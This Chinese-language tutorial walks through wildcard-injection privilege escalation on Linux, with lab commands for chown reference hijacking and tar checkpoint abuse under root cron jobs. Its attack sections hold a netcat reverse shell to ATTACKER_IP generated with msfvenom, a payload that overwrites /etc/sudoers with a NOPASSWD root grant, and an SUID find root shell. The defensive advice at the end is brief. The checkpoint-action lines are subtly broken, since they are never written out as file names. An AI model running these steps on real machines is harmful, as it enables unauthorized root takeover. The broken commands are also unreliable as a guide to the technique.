权限提升之通配符注入
字数 1025 2025-09-01 11:26:11

通配符注入权限提升技术详解

一、通配符基础

通配符是UNIX/Linux系统中用于匹配文件名模式的特殊字符,shell在执行命令前会先解释这些通配符:

  • *:匹配任意数量字符(包括零个字符)
  • ?:匹配任意单个字符
  • []:匹配指定字符集中的单个字符
  • {}:组合多个选项生成唯一字符串
  • ~:表示用户主目录

二、通配符注入原理

当文件名以-开头时,许多UNIX工具会将其解释为命令行选项而非文件名,这可能导致安全问题。

示例:通配符狂野(Wildcard Wildness)

mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help

执行cat *时:

  • 前两个文件正常显示
  • --help文件会被cat命令解释为-help选项,显示帮助信息而非文件内容

三、通过chown劫持文件所有权

攻击场景

  1. 系统中有多个用户:

    • root:超级用户
    • raj:普通用户,拥有若干PHP文件
    • aarti:普通用户
    • ignite:恶意用户
  2. 恶意用户执行:

echo "" > my.php
echo > --reference=my.php
  1. 当root用户执行:
chown -R aarti:aarti *.php

攻击原理

--reference=my.phpchown解释为选项而非文件名,导致所有PHP文件的所有权被设置为与my.php相同(即ignite用户)

四、通过tar进行权限提升

第一阶段攻击:利用crontab

实验设置:

# 设置定时任务
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

攻击步骤:

  1. 生成反向shell:
msfvenom -p cmd/unix/reverse_netcat lhost=ATTACKER_IP lport=8888 R
  1. 在目标机器上:
echo "mkfifo /tmp/lhennp; nc ATTACKER_IP 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "checkpoint-action=exec=sh shell.sh" 
echo "" > --checkpoint=1
tar cf archive.tar *

原理:

  • --checkpoint=1--checkpoint-action=exec=sh shell.sh被tar解释为选项
  • 当cron以root身份执行tar时,会执行我们的恶意脚本

第二阶段攻击:利用脚本中的tar

实验设置:

mkdir /tmp/data
chmod 777 /tmp/data
cd /tmp/data
echo "" > f1
echo "" > f2
echo "" > f3

mkdir /info
cd /info
nano script.sh
chmod 777 script.sh

script.sh内容:

#!/bin/bash
cd /tmp/data
tar cf /info/backup.tgz *

设置crontab:

*/1 * * * * root /info/script.sh

攻击方法:
与第一阶段相同,在/tmp/data目录中创建恶意文件

五、其他攻击方法

方法一:添加用户到sudoers文件

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "checkpoint-action=exec=sh demo.sh" 
echo "" > --checkpoint=1
tar cf archive.tar *

1分钟后,ignite用户将获得root权限

方法二:设置SUID权限

echo "chmod u+s /usr/bin/find" > test.sh
echo "checkpoint-action=exec=sh test.sh" 
echo "" > --checkpoint=1
tar cf archive.tar *

# 利用SUID find
find f1 -exec "/bin/sh" \;

六、防御措施

  1. 避免在root cronjob中使用通配符
  2. 在脚本中使用--选项终止参数解析:
    tar cf archive.tar -- *
    
  3. 检查文件名是否包含可疑字符
  4. 使用绝对路径执行命令
  5. 限制cronjob的权限范围

七、总结

通配符注入是一种利用UNIX工具对命令行参数和文件名处理方式的漏洞进行权限提升的技术。通过精心构造恶意文件名,攻击者可以:

  1. 劫持文件所有权
  2. 执行任意命令
  3. 获取root权限
  4. 修改系统配置

系统管理员应特别注意cronjob中使用通配符的情况,并采取适当的防御措施。

通配符注入权限提升技术详解 一、通配符基础 通配符是UNIX/Linux系统中用于匹配文件名模式的特殊字符,shell在执行命令前会先解释这些通配符: * :匹配任意数量字符(包括零个字符) ? :匹配任意单个字符 [] :匹配指定字符集中的单个字符 {} :组合多个选项生成唯一字符串 ~ :表示用户主目录 二、通配符注入原理 当文件名以 - 开头时,许多UNIX工具会将其解释为命令行选项而非文件名,这可能导致安全问题。 示例:通配符狂野(Wildcard Wildness) 执行 cat * 时: 前两个文件正常显示 --help 文件会被 cat 命令解释为 -help 选项,显示帮助信息而非文件内容 三、通过chown劫持文件所有权 攻击场景 系统中有多个用户: root:超级用户 raj:普通用户,拥有若干PHP文件 aarti:普通用户 ignite:恶意用户 恶意用户执行: 当root用户执行: 攻击原理 --reference=my.php 被 chown 解释为选项而非文件名,导致所有PHP文件的所有权被设置为与 my.php 相同(即ignite用户) 四、通过tar进行权限提升 第一阶段攻击:利用crontab 实验设置: 攻击步骤: 生成反向shell: 在目标机器上: 原理: --checkpoint=1 和 --checkpoint-action=exec=sh shell.sh 被tar解释为选项 当cron以root身份执行tar时,会执行我们的恶意脚本 第二阶段攻击:利用脚本中的tar 实验设置: script.sh内容: 设置crontab: 攻击方法: 与第一阶段相同,在/tmp/data目录中创建恶意文件 五、其他攻击方法 方法一:添加用户到sudoers文件 1分钟后,ignite用户将获得root权限 方法二:设置SUID权限 六、防御措施 避免在root cronjob中使用通配符 在脚本中使用 -- 选项终止参数解析: 检查文件名是否包含可疑字符 使用绝对路径执行命令 限制cronjob的权限范围 七、总结 通配符注入是一种利用UNIX工具对命令行参数和文件名处理方式的漏洞进行权限提升的技术。通过精心构造恶意文件名,攻击者可以: 劫持文件所有权 执行任意命令 获取root权限 修改系统配置 系统管理员应特别注意cronjob中使用通配符的情况,并采取适当的防御措施。